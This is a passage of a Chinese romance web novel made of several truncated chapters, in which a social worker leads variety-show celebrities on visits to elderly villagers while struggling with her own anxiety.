“柳莺,”奶奶正敲着脑壳拼命回忆,高荔已穿过人群走到代澜身边,也就是轮椅正前方,边说边蹲下,与她平视,“《春日远》的小姑姑。” “对对对……你和她好像啊。” 大家都忍不住笑,代澜让开些位置,只见高荔一手搭上轮椅扶手,又握上这位银龄粉丝的手,亲和地自我介绍:“奶奶,我就是柳莺,本名叫高荔呢。” “诶哟,真的是你吗?天啊,你怎么会来这里!” 代澜印象中的盘靖一直从容,这也是难得见她这么高兴,陆树广也似乎欣慰至极,赶紧使了手势让高荔推轮椅进屋慢慢聊,高荔很快反应过来,在盘靖的感叹中推着老人前进。 等落在后头,她才听见陆树广悄悄和吴楠涛说:“摔了以后就今天最开心了。” 摔了?怎么摔的? 代澜没能抓住时机询问,众人便都挤进了屋子。 她扫视这小小的客厅,窗户紧闭,空气似乎凝滞,混杂着因潮湿而酸涩的气味。 以往这屋子不知多亮堂清爽……趁众人找位置坐下的空档,代澜第一件事就是去打开窗。 婉转鸟鸣与芬芳草香幽幽而来,唤醒沉闷。 “小澜,这些物资?” 闻声回头,何子游还保持着抱物资箱的姿势,徐扬帆跟在他身后来回张望。 “先放这里吧。”代澜随手指了处位置,何子游依言照做。 他放手后拍拍掌中的尘土,而她借着窗户的光发觉男人白皙手腕上被塑胶箱底部咯出两道深红的痕。 路上其实歇了几次,连徐扬帆那份女生也轮着提了,可他却没换过…… 累了怎么还逞强啊……代澜蹙眉,寻思着走时一定要抢了这活。 “真是招待不周……我上个月夜里上厕所,不小心摔了,腿骨折,”意料之外的没避讳,盘靖两手拍拍自己的两条腿,说是抱歉,却也心酸。 “这个电视机柜子里头有塑胶杯,壶里的水烧开了还没来得及倒进保温壶……” “没事,您别动,我们自己来就好。”宋汝然正好坐在电视旁边,弯腰从柜子里一把摸出塑胶杯承担起招待的角色,余渔配合,将倒好的水分给大家。 “盘靖,你最近腿怎么样?”陆树广开门见山,她和村民们向来没那么多客套,为了方便区分,和代澜在敬老院一样直接喊全名。 老人将膝上稍微下滑的毛毯往上提:“这还行吧,嗐,说不定就这样了,走不了了,都是命……” “呸呸呸,又胡说了!”陆树广坐在红木沙发上,说这话时二郎腿卸下,“再过四五天我接你去医院复 12. 挼蓝 《蓝色故事[救赎]》全本免费阅读 “小洛?”老太太眼微眯,右手将镜框上移,虽是试探问,可惊喜早已染上神色。 “诶!奶奶,是我!” 红色塑料袋里水果沉甸甸,还顾不上放下而随着动作摇摆。 被称作“小洛”的男生进门后才发觉屋子角落里还有人在摄像,一改开头进门时张扬姿态,边拢着腰似是鞠躬,碎碎叨着“抱歉打扰了”,边退出去。 运动鞋在瓷砖上撤退出声,余渔和盘靖急忙叫住他,解释一通才留住人,而后他左右抱以歉意,最后走到盘靖面前单手轻轻搂她。 盘靖还在意外来人的忽然出现,连声叨着什么前几天还和隔壁谁人聊起,而他抚上老人窄肩时恰好与代澜对上眼神,会心一笑,似是无声暗号。 大家都在,代澜不好声张,只微点头客气作回应,不想身侧人下一秒便凑来在耳畔追问:“他是谁?” 盘靖家本来就不大,就在她开窗间隙,屋里座位基本都被占据,唯独那张能容两人的板凳因为堆了东西而被其他人放弃。 结果刚选中,何子游也来“瓜分”她的目标,趁着高荔哄人,他也蹲着小声来求:“我没位置了……” 为了不打扰围绕盘靖的聊天和摄像收景,男人伏低身子,明明只是要个位子,给他就是,可偏偏姿态如困兽,拘在脚边似委曲求全,多犹豫一秒都是代澜的不仁慈。 她难道还有拒绝的权利吗?于是两人顺理成章坐在一起。 板凳位置并不宽裕,但也勉强还行,一男一女坐上总不算失礼。 不过这又算什么…… 本就靠近的距离因何子游的身形稍稍倾斜而更贴近,但要说越过谨慎维持的社交距离又算不上。 礼貌恰如其分,更像一阵恣意的风朝隐形的线袭来,却意外地克制,连线都不必动摇。 鼻尖萦绕淡香,代澜一时辨不清是何种味道,头脑刹那清明些许,但不多时又被钝感淹没,她理清繁杂思绪回复:“是老太太邻居家的孙子,姚洛。” 几乎是紧跟着她的话语,姚洛的自我介绍就随之落地,只多了句说自己也算是从小被盘靖带大的。 “你什么时候回来的啊?”盘靖双手握着姚洛的右手,显然对这位晚辈疼爱得不行。 而那袋先前一直挂在他手腕上的水果,已经被宋汝然悄无声息地帮忙放置在桌上。 再一杯热水递来,姚洛双手接过道谢,顺便回答:“昨晚刚到,想着奶奶你早睡就没过来。” 话毕,他环视身边人,礼貌道:“对了,刚刚听你们说到要带奶奶去敬老院,可以和我详细说说吗?” 于是吴楠涛再同他解释了一遍,这间隙,代澜看着姚洛居然从余渔坐的沙发那头变出一张小板凳,脚跨开坐下,手肘搭在膝上,随意得像进了自家。 明明何子游找她之前就是从余渔那头来的,这张板凳是? 她立马扭头将疑惑寄予盯着身侧的男人,动了动嘴型:“他……” 何子游似乎才发现那边有凳子,眸中有惊奇,无声回应:“我没发现。” 头脑闪过一丝莫名,但它跑得实在太快,叫人难以捕捉,代澜轻轻拂去心头疑虑,当做自己过于敏感。 “其实我这次回来就不打算走了,”少年听后未多加纠结,将未来打算全盘托出,“和家里商量过,等过几个月大学毕业,就着手准备考暮镇的公务员。” 姚洛左手轻拍盘靖的手背,示意安心:“我们两家做邻居几十年了,你帮我我帮你多少次,照顾也就顺手的事。” “小洛,这会不会太耽误你了?”说着不愿意走,可眼下有人提出要照顾自己,盘靖又迟疑,生怕自己成了累赘。 “不会啊,”他爽朗否定老人一切胡思乱想,眼见陆树广口头决策迟迟未定,姚洛再加码:“放心,这是我家奶奶让我过来说的。” “哦,你奶奶啊……”陆树广眉头松懈几分,“那也行吧,你有人照顾就好……可以吧?”她转头问吴楠涛。 吴楠涛自然是同意的,既然老人有了可靠托付,敬老院少一个人,手续少些,还少点操心呢。 又交代了些事情,物资也转交完毕,时间卡得差不多,看众人要离开,盘靖让留步,连忙叫姚洛帮忙到房里翻出一张显然有些辈分的花纹卡纸让她签名。 方才聊天,老人家才知道原来这不是高荔一人的节目,周围几位靓女帅哥都是嘉宾,给她乐得不行,拉着大家要合照,直言以后要拿来和人炫耀。 摄像机进场拍高荔签名,宋汝然见状拉着代澜往墙边站,边退边笑道:“老人家精神状态真好。” 但这句话和眼前画面交融,却在代澜心里怅惘。 如果,如果人能一辈子沿着太阳的轨迹升起又坠落就好了。 来时见盘靖坐在轮椅上,隔着铁栅栏遥遥望去,她第一次感受到老人在短短两个月内由还算坚韧的树枯成满地金黄。 似乎老人一旦受伤,不论往日再怎么精神昂扬,也易极从伤口处滋生挫败或者焦虑的情绪。 最终结果不论是坦然接受还是以余力对抗,都难免被钻了空子,再衍生出各种情绪,啮噬他们骄傲的心。 既然知道终会有日落的时候,命运又何苦让他们提前遭这一难呢? 走神不过弹指一刹,抬眸又要开始工作,趁大家聊完准备散场,客套话还留有余韵,她走到物资箱旁蹲下,检查盘靖需要的物资是否还有漏拿出,整理后抱起它掂了掂,还行。 抱稳回头,姚洛正好朝她走来,时隔半年不见,小伙的肤色又深了一度,见她抱着箱子,两只衣袖被挽上手肘,伸手就要接过:“我来吧。” “不不不……”代澜急侧身将箱子与人隔开,生怕他帮忙,“不用了,真不用了,我们还要去下一家呢。” “没事,你们下一家还是去赵奶奶那里吧?” 陆树广带他们来探访路线就那么一条,姚洛以前见过他们,自然也就知道接下来的去处:“我刚好要去市场买点东西,都是顺路。” “真的没关系……”勉强的笑快挂不住,眼看姚洛的手已经伸来,代澜正要再一轮婉拒,倏然一抹红色悠悠隔绝两人视线。 “小洛,盘奶奶让你不要客气。” 明明小名亲昵,唤他之人语气欣然却隐约疏离。 橙子绷着红色塑料若隐若现,缓缓坠下后先出现的是男人柳叶眉轻挑,再往下是他似笑非笑的眼,却触不得眸子深处涌动着何种情绪和意图。 袋子摇晃窸窸窣窣,借着姚洛发愣几秒,何子游带它回归赠与者的手腕,动作行云流水,怀带年长者对后辈的从容:“把水果拿回去吧。” 一袋橙子的到来打乱敬老院的计划,又是它帮代澜摆脱尴尬境地,物各归原主,她偷偷松了口气,再反应过来,何子游 13. 挼蓝 《蓝色故事[救赎]》全本免费阅读 他们正巧穿过小巷,自建房攀出的窗户将天光遮挡,沿途石板惹青苔,在逼仄中潮湿。 这问句很轻,却像一杯颜料随意撒在冰面上。 初始僵硬的冰将颜料隔绝,可随着时间流逝,清晰可见颜料缓缓渗入,钻透防御,让冰不得不面对遭受侵略的事实。 无可抵抗,代澜的后颈似乎被制住,全身乃至肌肤关节都在厚衣下绷紧,下意识去寻找周围是否有摄像机。 并没有。 甚至,原来他们早已落在队伍最后。 小巷曲折为两人与前方人群巧妙隔开一方隐形的空间。 他们进入了一个秘密匣子。 何子游的问句反复在耳旁播放,这让代澜有些晕眩,静谧将她的感官体验放大数倍,心脏的搏动是那么明显。 如一根银针准确扎在她竭力隐藏的部分。 冰在权衡与侵略者谈判的方式,是继续逃避,还是直面。 “我知道啊。” 这话如叹,忠于事实道出比逃避更让人释怀,代澜还是放过了自己,选择在何子游面前暴露小部分内心。 可她的心依旧紧绷。 也许是出于安全通道里共同的秘密,或者是知道综艺结束后,关系会再度退回原位,她抱着侥幸在坦诚和逃避之间辗转。 胆战心惊地自暴自弃。 “我知道姚洛他喜欢我,很明显不是?” 她希望自己能坦荡地承认一些隐藏在礼貌下的暗流。 但话说出口才发觉一整句话是那么颤抖,双手将皮包肩带抠死,细绳硌得肩上发痛。 他会这样问是不是以为我故意钓着姚洛?我是个别有目的的人? 明明一切不是、不是……却还是会轻易将自己推入极端的道德审判。 无法掌控情绪的方向盘,在偏执揣测中疾驰。 代澜齿下紧咬唇,反复磨着那处充血肿胀不放过,丝毫不敢瞥一眼身后人的反应。 短暂时间里,等待回应时思绪百转千回。 可这好像只是一个普通的问句,为何就能让自己如负千斤重? 她现在还不知道答案。 “好……” 就这么一个字?代澜等待着他说下一句,可似乎落空。 周遭只剩行经高低不平石板时的脚步声,她提着心,终于忍不住迅速回头望了何子游一眼。 楼间光影交替渐变在抱着塑胶箱的男人脸上,她撞破平常熟见的温柔秘密,窥得他紧扣的眉头,面孔流露出似是应对之外,脱离掌控的无措。 以及覆在眸上,那层隐隐流动的雾灰忧虑。 之后才是慢一拍切换的慰藉容色。 她以为他问,是想逼着她说些什么,包括对某种“喜欢”的看法。 可如今,代澜看不懂了。 那句“怎么了”甚至不用她问出口,何子游就抢先温声:“嗯……我也是后知后觉,在想刚才打断你们会不会违背了你的意愿。” “仅此而已。” 我的意愿? 代澜直视前方,摄像机此刻并不对准他们,甚至离他们很远。 她走在他前面,距离不过几步,仿佛有可靠屏障,虚空中承住一点身体里真实存在的核心。 那是她丢掉的方向盘。 错愕中从喉咙里喘出一口气。 这口气似乎揣在怀里许久。 此刻才迷迷糊糊醒悟,在得到答案之前的情绪似乎是有些失控的。 很轻易将他人的原意,甚至在不知晓时,会意跑偏,但这并非是自己故意。 而身后的男人发觉了,但并未拆穿,惊险地接下了这一球。 原来他是担心,如果我也喜欢姚洛,而他刚才打断男生的帮忙会让我不高兴…… “我”的感受很重要吗? 似乎在迷雾中行走,在钝感中浮沉,但当务之急是先澄清何子游纠结的问题。 可别让他为我苦恼…… “没有不开心。” “而且算是你帮了我。”话赶话,她再度补充,回忆几十分钟前,那种窘迫依稀存在。 房上坠落一滴今晨的雨,恰好在她额上。 清清凉凉,伸手拭去时听见背后人终于松懈:“好,那就好。” 有命题依旧存在,但他们已向往小巷之外,阳光之下。 - “嚯,出太阳了诶。”众人依次从小巷里走出,没想到恰好有阳光从云层间落下,徐扬帆昂头,以手感受来之不易的阳光。 宋汝然笑道:“过会儿水汽蒸发就闷起来了。” 谈笑间第二户近在眼前。 相较于盘靖家自带花园的小院,赵奶奶家更小。 只是简单的一层平房,三房一厅,在大棠村,这样的房屋更普遍。 “盘东久!”陆树广照旧直来直往,离着还有几十米就将坐在屋前石阶上的老人大喇喇喊出姓名。 盘东久穿着黑色短羽绒又双手揣兜,头圆滚滚身子也圆滚滚,不知套了多少层的棉裤坐下小腿都漏出半截。 陆树广接连叫了几声,老人这会儿才缓缓转头。 徐扬帆实时锐评:“得嘞,又是个耳朵不好的主。” 一路靠近,代澜看见他眼睛眯了又眯,最终才凭借陆树广后面继续叨叨的什么话认出她,困惑神情舒展笑意。 “小陆啊,啊……?”仔细辨得来人,他话语又停在唇边,视线在代澜一行人之间来回扫。 白头发剃得极短,老人手掌从后脑勺使劲摸到额头来回好几遍,伴着“沙沙”声问:“这,你们谁啊?” 代澜在陆树广喊人时就赶紧走上前排,为的就是帮忙解释这情况。 得知是在录节目,来人还都是大明星,盘东久听后只憋了句“哦”。 正当代澜以为可以进屋时,老人突然伸手一抓陆树广,又朝他们念叨着:“等等等等!” 看来是发生了什么紧急情况。 她跨上台阶的脚默默缩回,退到离两人几米外。 趁这插曲来临,余渔的手神不知鬼不觉又挽上来,如今代澜也习惯了她随时随地要贴贴,放任她去。 忽地肩上一重,又来了一人双臂展开同时搭在她和余渔的两侧肩上,又将下巴亲昵磕在代澜中间的肩。 她脖颈处不自觉犯痒,连头也不用回便知是宋汝然所为。 这俩贴贴怪,贴完高荔又过来…… 果然中间那位懒懒发问:“我们不是去赵鸥家吗?这位爷爷是谁啊?” “赵鸥的老伴啊。” “啊?”仅仅几秒后,宋汝然反应过来,“我还以为你们说‘赵奶奶’就是家里只有一个老人呢。” “不不,因为大棠村里都是盘这个姓氏,叫的时候太难区分了,所以我们一般直接喊全名或者说那个不同姓氏的家人。” “我还担心喊全名不太礼貌呢。”余渔插嘴。 “那小棠村和上棠村呢?也是姓盘吗?”宋汝然举一反二。 “这倒不是,”代澜耐心解释,“小棠村和大棠村姓黄的比较多。” 知道她们肯定还要问为什么,她索性一同解说:“如你们所见,大棠村跟小棠村和上棠村隔了一座山……” “懂了,”肩上那位脑筋转得快,“地势隔开了,文化就不一样了。” “哎,都进来吧。”再抬头,盘东久不知何时消失了,只剩陆树广站在门口吆喝各位。 代澜正犯嘀咕,谁知进门后就看见盘东久和赵鸥两位老人在卧室门口拉拉扯扯。 “别碰我!别跟我说话!” 赵鸥怒目圆瞪,手臂衣服被盘东久捏着一角,显然后者更怕前者气焰,被“禁言”了紧闭嘴,畏畏缩缩撤手还是挨了一巴掌,转头朝厨房走去。 随后老太太变脸似的雷电转晴:“请坐,随便坐!” 宋汝然悄声:“那爷爷他去……” “给你们倒水呢。”默契骤显,赵鸥没停,招呼大家坐下。 嗯,原来是吵架了,这次的理由又是什么呢? 代澜瞧着又有好戏,从容带余渔 14. 挼蓝 《蓝色故事[救赎]》全本免费阅读 “你帮我转告某人嗷,我不知道,你让她自己来问我。” 盘东久扯着嗓子大声嚷嚷,这话不仅要给何子游听见,还要让屋里那人听. 何子游笑得无奈,两人怄气,他只好临时充当工具人调和。 看人转身进房后,盘东久立马又用手遮住嘴巴,偷摸和在座几人小声抱怨:“你们看她是不是小气鬼?” “我跟你们说,她在冰箱后面还藏了一盒去年过年剩的糖,我前几天发现的时候,打开一看全化了!” 老人语气夸张,还打手势比划盒子大小。 正当代澜还以为他是要批评赵鸥既然有糖尿病还要吃这么多糖时,盘东久话锋一转,双手连连拍大腿义愤填膺:“你们说她是不是特别浪费粮食!” ……浪费粮食也是因为没进自己肚子吧? 代澜和坐在对面的高荔相视一眼,都“噗”地笑出了声。 “什么浪费粮食?”赵鸥不知何时走到眉飞色舞,兴致勃勃的人身后,话没说完就给了他肩膀一巴掌,“又在说我坏话!” “老婆……老婆你什么时候出来的啊?不是说不和我说话吗?”他立马讨好如向日葵遇上太阳,灿烂得很。 “你说话自己听不见说得多大声,就别怪我听见好吧,赶快去找户口本别耽误事!” “诶诶,好好好……”老头赶紧起身将位子让给这位盘头银发一脸不耐烦的女士,慢吞吞走去卧室时还不忘碎碎念,“又说不和我说话,自己还不是说了……” “你快去!” …… 从赵鸥家出来,几个嘉宾算是笑得脸都酸了。 “我一开始还以为盘东久是妻奴才敢怒不敢言呢,合着是因为自己理亏啊。”宋汝然解下手腕上的皮筋,将短发尽力扎成小辫,边走边说。 临走前还是代澜多提了一嘴,直问赵鸥关于盘东久最近的饮食情况。 他们走访时通常会问身体情况并做登记,有时会涉及一些政策或者制度,而两位老人都有糖尿病以及其他病痛在身,问是必然。 可不问不知道,原来他们来之前,赵鸥从存放光碟的柜子里找到了一瓶一升的汽水。 这肯定不是她买的,那只能是老伴偷藏。 于是盘东久买菜一回到家就被判了罪,还被赶出门,这才有了众人过来时,老头可怜巴巴坐在门口石阶上的样子。 “咱们一开始问盘东久,他还说是因为他发现了赵奶奶吃糖呢,我心里还纳闷,他都说这是前几天的事了,怎么到现在还生闷气。”宋汝然快步跨过积水。 “所以有时候不能只听一面之词呀。”高荔眼神还留在手机上,刚才拍了不少照片,连赵家的电闸和水管漏水情况也一并记录下来。 这会儿所有人的手机都在震动,显然是她在发送图片。 代澜左手提着一大袋抽纸,只能单手操作,艰难将手机调成静音后塞进口袋。 这抽纸是从何子游搬的塑料箱里拿出来的。 意识到自己的情绪让人为难后,她总想尽可能补救,却也害怕让人往尴尬的方向推。 那双眼中的无措重映,如波浪一遍一遍淌过脑海。 于是代澜先试探,在离开时再次以箱子为引:“我帮你拿点里面的东西吧?” 直接提出帮忙搬十有八九会被拒绝,那么里面的东西呢?减轻些负担也是可以的吧……? 明明只是一句话的小事,她偏偏紧张得双手都不自在,只能重新放回口袋,掩饰情绪。 何子游正弯腰去提,这声提议显然让刚触上箱子的指尖一顿,而后是伴随动作拐弯的话语。 修长手指一勾一挑,那袋抽纸从层层杂物中被拎起,随着男人直背,转而到她眼前。 牌子是温蒂,包装款式熟悉。 “想帮忙的话,拿着这个吧。” 男人的腔调一如既往,要想求证是生闷气还是别的…… 先捧住面前抽纸,她微昂头去留意他神色。 是笑着的,似乎半小时之前从未发生任何事,还是那般柔软,唯独多了一些安抚的味道。 没有责怪,没有伪装,只有真诚。 明明他和她真的重逢不久,却像相伴已久之人,知道她求和的意图,知道她情绪失控跑偏,导致误会的无可奈何,也未曾怪罪。 ……是因为我以前救过他的缘故吗? 她忽然不知道该如何与这位哥哥相处,似乎总是被看见狼狈的一面。 情不自禁更讨厌自己,更憎恨自己的情绪牵引思维走向极端,刺痛了他人,折磨了自我。 “嘶。”她猛地抽气。 好痛…… 无意识地撕扯手皮,代澜连忙缩手至胸前,右手拇指指甲边缘大块皮层剥开,伤口处正泛出鲜红的血。 “小澜。” 呼唤紧跟,她下意识迅速藏手至口袋,就见吴楠涛似乎是刚挂电话,急匆匆走到面前,代澜缓缓止步。 “刘阿北和何木林打架,安心颖让我赶快回去。” ……她没被看见吧? “嗯。”脑袋还在顾着指尖的痛,代澜心不在焉。 眼前男人一手抓着手机和文件夹,另一手叉腰,对护工转告的情况颇为无奈:“现在去吃饭也没什么事,如果我后面回不来,你来带队,没问题吧?” 这不是请求,而是命令。 “好,好。” 信息总算收录进耳畔,恰好口袋还有半截干净的纸巾。 代澜连忙应下,趁吴楠涛探头朝后面的人呼喊,她右手伤口抵上纸巾的同时,迅速捏着纸巾换手拎抽纸。 再以左手接过吴楠涛手里的文件夹,里面有走访的资料。 很忙,但她早习惯于掩饰。 不好看的手,她的自卑源之一。 他和他们说清楚待会儿自己要走,又交代了些注意事项,之后就匆匆离开。 直到到达饭店,纸巾早已撤去,而她又转而和皮包作斗争。 它开口恰好和文件夹一样大,反而塞不下了,折腾了一路,到了饭店还没成功,最终只有放弃。 “小澜,你弄什么呢?快吃饭了。”午间日照,气温回升,高荔此刻也扎起马尾,代澜一眼只觉得比她还朝气。 “就是想装进去,但是装不进,算了……” 代澜将资料压在袋子底下,彻底放弃,这时才发现面前被塑料包好的餐具不知被谁帮忙拆好又过了热水。 水汽尚存,在白色碗碟上依稀四散。 “我帮你弄的。”高荔温声,此刻边说还不忘帮不在座位的人拆碗筷的塑料膜。 葱白手指灵活解开束缚,不失手控盛宴:“看你一直在忙,你要是有洁癖,那就重洗一下?” “当然没有洁癖,谢谢荔姐。”代澜双手捂上小碗,借热暖手。 留在圆桌的人只有她们两位。 高荔负责过水,那么她也不能闲着,站起身为已经洗好的杯子里按他们个人喜好斟上热茶或是汽水可乐,无声配合默契。 气泡摇晃,最后贴上杯壁。 年长几岁的女人做事周到,时刻照顾身边人,有时代澜真好奇,姐姐从前也会像她一样笨拙吗? 还是一直都这么善解人意,顾全大局呢? …… “来来来,尝尝我们的手艺!”一声吆喝来到,饭店老板娘陈豪端着一盘蒸鸡肉,从厨房一口气直奔他们这围桌子。 陈豪人如其名,做事豪放爽快,刚才众人朝店来时,她远远看见他们有摄像,走近后还没等大家介绍再录节目就立马表示可以随便拍。 而听完节目内容,她立即又提来一升可乐和一升汽水,美其名曰“感谢给咱打广告”。 热情爽朗的个人魅力迅速让众人折服,渐渐聊得火热,有好奇的还想去厨房看看,帮忙做个菜什么的,陈豪也大方同意——只要别打扰厨师,讲卫生就好。 眼见菜都上齐,先前四处参观的众人也都 15. 青冥 《蓝色故事[救赎]》全本免费阅读 “啊?”她脑袋乍然嗡嗡。 陆树广摇了摇手机,朝代澜为难地笑:“同事说有急事,让我赶快回去。” 不知所措有延迟,眼见可靠而社牛的陆姨悉心交代后便潇洒离开,那现实的冲击才阵阵翻涌上心头。 怎么办?我领头去访问? 怕是不够格吧? 从前在学校或是敬老院里倒是可以设计组织活动,这些不用直接与人沟通的她都可以努力做好,可唯独触及社交…… 代澜的肌肤无可抑制地泛鸡皮疙瘩,甚至不用闭眼,过去那些争议和尖酸嘲讽声猝然忽远忽近攻击耳畔。 几乎是反射般,头脑猛地一抽让她又在现实骤然惊醒,只是心魔笑语似乎未曾远离。 嘴边死皮又翘,她咬了又咬,过短齿尖难衔,更发狠劲。 身后是其他人拍摄说笑,与代澜之间却如隔屏障,她脚步没停,逼迫自己冷静,好担得起作为队伍主导者的责任。 起初她还能自我安慰,过去虽然算不上优秀毕业生,但好歹学了四年,该掌握的本领也已经融会贯通。 可代澜的思维似乎总是忍不住往负面方向疾驰,就比如现在她开始纠结,如果交流时问到知识盲区该如何应对? 再万一,她带着嘉宾们遇上了之前和吴楠涛下乡时的情况怎么办? 去年二月她实习时和吴楠涛访问的一位老人因为遗产问题,当着他们面和家人吵架,结果被气晕过去,匆匆送进医院,好在最后缓了过来。 再是去年十一月下乡,他们碰上两家人因为建房的土地规划爆发激烈争吵,期间吴楠涛去劝架,混乱中还被人推倒,最后是代澜报的警。 曾在下乡途中发生的种种意外在脑海里再度重映,代澜难以按捺忐忑,无法肯定自己能够完全应付得了这些事情。 她总这样,诡异地为逃避找借口推脱,一边谴责自我一边又沉溺在背道而驰的痛感里。 再深吸一口气。 左手小拇指还挂着那袋抽纸,其余托着吴楠涛留下的文件夹,右手快速翻动纸张。 从绞不尽的想法里拼命挣脱,脸色甚至来不及表露出一丝紧张,仅凭无法抑制的手抖替人说明一切,不停催促应对。 终于,代澜翻到那页。 找到了。 这一户是对兄弟,哥哥名叫盘庆义,弟弟名叫盘庆奇。 盘庆义,盘庆奇…… 两个名字一字之差,偏偏自己记性不好……代澜烦躁地锤了几下太阳穴。 她记得这两个兄弟,一个耳朵特别不好,说话比盘练兴还大声,听力本就不好还爱听戏,一放音量就拉满,经常被邻居投诉扰民。 另一个则是爱打麻将,他们下乡几次,就有几次扑空,因为耳朵不好的那位说话不清楚导致沟通不畅,还要提前打电话叫他回来当翻译。 所以…… 代澜盯着档案底下的两行联系电话忧心忡忡。 耳朵好那位的电话号码究竟是哪个? 算了,来不及了,还是直接给涛哥打个电话吧。 她正欲从口袋掏出手机,身后忽然传来问句:“怎么一直在看文件,出问题了吗?” “嗯?”猝然被打破忐忑氛围,代澜才发觉宋汝然不知何时走到她身旁。 来人小辫扎得俏皮,因为头发过短,鬓边还落下一绺:“你要帮忙就喊我嘛,来来,看看下一个是谁?” 她瞬间从两手背着身的状态,一晃改为双手侧贴合,掌心向上的期盼样,杏眼眨巴眨巴。 为何宋汝然总是出现得恰逢其时?疑问瞬闪,她捉不住尾巴,焦虑就将它匆匆淹没。 此刻突然的关心似乎让人找着了依靠地,没想到自己话里都带了些不经意的依赖:“待会儿要去的那户要提前打电话……” “那打就好啦,”宋汝然惯会看眼色,瞧见她插科打诨都赶不走代澜头上阴霾,瞬间又换了关心神情,“怎么啦?出什么问题了吗?” 面前人极快地反应过来,又靠近些许陪人慢步,搂住她肩,轻声提醒:“该不会是在钻牛角尖吧?有事就找涛哥陆姨啊。” “我就是刚想打呢,你就来了。” “好,那你需要我来打吗?” “诶?” 她从未想过有人愿意代劳。 说实话,代澜有一瞬间想过这两通电话就交由宋汝然解决算了。 可强烈的抵触感又将这丝侥幸囚住,于深渊嘶吼逼问——如果下次他们都不在身边,那你又该如何逃避? 给出答案前脑海是如何电闪雷鸣,外人都不得而知,代澜最终给出的答案还是…… “不了,还是我自己来吧。” 面前人笑意更甚,隐约可见释然,而代澜解不开,只听宋汝然以一句轻巧了事:“好啊,那就你来打吧。” 明明宋汝然来时至她两通电话挂断不过十分钟,代澜却在短短时间里探索到安心,以及巧妙地,试图不留痕迹的陪伴。 是的。 她发觉了。 代澜将文件夹收好,夹在手臂下,再望向宋汝然时,对她平日里的“恰逢其时”有了新的结论—— 受人所托。 而果不其然,在电话结束后的下半场,那位托付之人便被引出。 “何子游你过来!” 宋汝然还维持着搂住代澜肩膀的姿势,随着她转身,代澜自然也要跟着转。 冲入视野是小路其上的两侧长长屋檐,再是男人抱着突兀的箱,周身气场硬是将它也一并包容。 在一线天光之下,原本是温和柔润的面容反而因混了阴翳而略显锋芒,何子游被点名后微怔,神色微变而更显防御清冷。 喊声晃荡在壁上撞出回音,摄像头往他们的方向照时,代澜敏锐发现。 男人谨慎,被喊后同样回头观察摄像情况,之后虽不清楚为何召唤,依然迈大步向两人而来,走近后附加一句问宋汝然的“干什么”。 然而被问的女生却故意不答,扭头一脸不屑地向代澜调侃:“隆重介绍下,这位哥居然考了社工证。” “啊?”代澜是真的惊讶。 “他自己刚刚自爆的,”宋汝然一脸理所当然,“你待会儿要是找搭档就他呗。” “刚刚是他们帮我找……”有人试图澄清“自爆”。 “既然有证,用人也安心,”有人说话调子更高,语速堪比Rapper,撂下就跑,“我去找荔姐啦!” “……被他们翻到了证。” 眼敲着女生跑远,还说着“他们聊等等上门的事”借此将摄像机都招了回去。 刚才那个猜测,答案更明显了。 代澜轻声叹息,只是这份叹剥离了在宋汝然来之前的惆怅和焦虑,难得是为感慨和庆幸。 他应该不是为了和我爸妈报告我的状态。 二十多年的独生子女经历……她第一次发觉有个哥哥也是不错的事。 或者是像小然和荔姐那样的姐姐? 方才宋汝然问打电话,她和代澜自己之间二选一时,代澜便理解宋汝然的分寸感拿捏得极好。 她尊重我,所以这通电话她不会包办,如果当时自己真的有难处而求助,宋汝然主动问起也给足了台阶。 当然,我能自己做到最好。 所以什么时候她才能不为各种负面情绪所控,动不动就引发躯体反应呢? 无法再深想,代澜深呼吸,为由思考迈向清醒转开瞬间的钥匙。 而那位真正旁听,默默关心的哥哥就在身边。 刚才宋汝然是玩笑,他大可以借此走开,但何子游并没有。 或许是对这份来去纠葛深刻的关 16. 青冥 《蓝色故事[救赎]》全本免费阅读 只是为了一个好久不见的朋友,就能做到如此地步吗? 代澜好奇这位朋友究竟和他有何种羁绊,但更意外,这或许也算何子游的秘密之一? 或许吧。 这件事他只告诉了她,而没有透露给其他人的话…… 保留余地,她礼貌地在隐私线前停留。 最终好奇演变成发自内心的感慨,再另外添加些伪装。 明明直抒胸臆即可,可她就是拧巴地,也算下意识地在长辈面前保持客套,再回言。 “真羡慕他有你这样的朋友,还为了他考证。” 何子游没搭话,只是从喉咙里轻震出低笑。 笑到她脸颊有些发烫,甚至怀疑是不是自己的回答客套得太明显,招人笑话。 好在这份惴惴不安在面对何子游的稳妥和袒露后消减不少。 能感受到钢丝上,有人向她抛来一条安全绳,而它似乎是稳固的。 代澜昂头,那穿插屋檐间的涧石蓝跳脱,似乎有什么也在随它搏动,悄无声息改变着。 屋檐昏暗下陷入托付秘密后默契的余韵,再走一段就是第三户的家。 …… 摩托车从另一条小巷里突然冒头,灵活绕过地上泥坑,忽快忽慢地朝门口众人远远驶来时,代澜习惯性绷紧全身神经。 虽然离他们还远着,但她已坐不住了。 只是这次,就在下一秒,有人将手搭在她肩上,而后耳畔传来轻语:“放轻松,我们不是还在吗?” 宋汝然捏了捏她的肩,代澜将视线落点抛向更后边,却发现望向谁,谁的眼与她相视而笑。 余渔一手托在肚子位置,比了个“OK”。 ……代澜迅速别开眼神转回来,开头仓皇,准备一人顶到头的算盘貌似被打乱。 该多谢刚才何子游主动问起该如何配合,以及其他人侃天侃地的效果。 但该负起的责任,我还是要做到。 分了神,焦虑顺风偷偷跑走好多。 “……没等很久吧?”瘦削老头从男款摩托跨下,趿拉着人字拖边对着眼前众人上下扫视,边往家门口走。 盘庆义不高,代澜一米六,他比她还要矮小半个头。 “没有,我们也是刚到,喊了几声没人开门,盘庆奇不在吗?”她以松弛面具伪装,履行社工的基本素养。 盘庆义手头上光顾着扯那条弯弯曲曲、用以代替门锁的自行车锁,嘴里含糊念叨:“我阿弟……我阿弟应该睡着了。” 大棠村建房都惯于在房屋门前留一处不管是宽还是窄的空地,再往外才是那种镂空铁门。 像盘东久家也是如此,而盘靖家就已经能称得上是大户人家了。 而盘庆义和盘庆奇两兄弟家,屋龄更大,同周围后来翻新过的房屋相比简直过于窄小,像时代的遗物,格格不入。 “那锁着,盘庆奇要出来咋办?”徐扬帆在最后,问起话又担心老人听不见,故意嚷得大声。 结果老头手一僵,古怪地瞅了一眼提问人:“我耳朵可比阿弟好多了……” 这一眼直接把徐扬帆瞪“退”好几步,只好低眉顺眼地回:“不好意思啊,就是怕您也耳……” “他也去不了什么地方……走路上听不见喇叭声不安全。” 